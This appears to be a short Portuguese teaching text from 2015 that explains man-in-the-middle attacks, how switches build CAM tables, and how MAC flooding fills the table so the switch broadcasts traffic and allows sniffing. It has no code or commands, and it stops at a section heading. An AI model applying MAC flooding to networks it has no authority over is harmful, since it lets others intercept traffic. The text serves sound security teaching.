Goiânia,2015

MITM

O man-in-the-middle (*homem no meio,* em referência ao atacante que intercepta os dados) é uma forma de ataque em que os dados trocados entre duas partes, são de alguma forma interceptados, registrados e possivelmente alterados pelo atacante sem que as vitimas se apercebam.

CAM Table

Switches modernos são capazes de trabalhar com milhares de conexões simultâneas sem se perder. Isso acontece por que eles mantém um "mapeamento" em sua memória dizendo para ele em qual porta um host (ou hosts) está localizado. A esta tabela damos o nome de CAM (ContentAddressableMemory) table, como dito anteriormente. Para popular a CAM table, o processo é o seguinte:

- O switch recebe o frame enviado por um host
- O endereço MAC de origem é lido
- Verifica-se a CAM table procurando pelo endereço presente no frame em questão. Se este endereço não for encontrado, ele é adicionado à tabela.
- O frame é encaminhado e o mesmo processo é feito para o próximo frame na fila.

Na CAM table então, há o mapeamento de endereço MAC e porta, por exemplo:

Porta1 > F0-4D-A2-E4-59-5F
Porta2 > AB-52-EF-C1-CF-32
Porta3 > 98-E1-CB-AD-33-AA,34-AA-BB-CC-DD-23

A CAM table é armazenada em um recurso finito do switch: a memória RAM. E se nós enviarmos bilhões de endereços MACs inválidos para o switch? Ele vai começar a armazenar todos na CAM table até chegar a um ponto onde o espaço em memória será esgotado. Quando chegarmos a este ponto, o **switch vai passar a agir exatamente como um hub**: **todos os pacotes que chegam serão enviados para todas as portas, permitindo que você sniffe todo o tráfego da rede**.

Ataque na tabela CAM do Switch
